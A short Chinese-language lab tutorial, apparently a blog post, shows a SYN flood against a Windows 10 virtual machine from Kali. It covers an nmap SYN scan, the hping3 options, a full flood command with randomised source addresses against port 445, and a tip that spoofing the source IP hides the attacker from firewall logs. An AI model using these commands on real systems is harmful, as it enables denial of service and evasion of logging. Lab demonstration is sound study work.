简介
使用Kali工具hping3进行SYN Flood攻击(DDos攻击)测试,实验在VMware虚拟机内测试,实验过程均为测试hping3功能。若因传播或利用本文所提供的信息而造成任何直接或间接的后果,均由使用者本人负责,作者不为此承担任何责任!
准备工具
虚拟机: Win10 、Kali
过程
1、关闭win10的防火墙,保持两台机器可以相互ping通
2、win10系统win+R输入cmd打开命令行界面
3、命令行界面输入 ipconfig 查看本机ip地址
4、进入Kali系统右键打开终端界面,在命令行输入ifconfig查看本机IP地址
5、确保两台机器IP在同一网段内,使用Kali ping win10 IP地址(确保网络连通性)
6、在Kali界面键入 nmap -sS 192.168.220.134(Win10 IP地址)查看Win10开放网络端口
nmap -sS 192.168.220.134
7、如图Win10 445端口开启 ,使用Kali自带hping3工具进行SYN Flood攻击
以下为几个常用的hping3命令选项:
-c:发送数据包的个数
-d:发送每个数据包的大小
-S:syn set SYN flag
-w:windows发送字节
-p:目标端口
--flood:尽可能快速发送数据包,开启洪水模式
--rand-source:随机源地址模式
(其中 -a 源地址 ,输入伪造IP攻击,防火墙不会记录本机真实IP地址)
hping3 -c 100000 -d 120 -S -w 64 -p 445 --flood --rand-source 192.168.220.134
8、此时在Win10任务管理器查看结果发现
前:
后: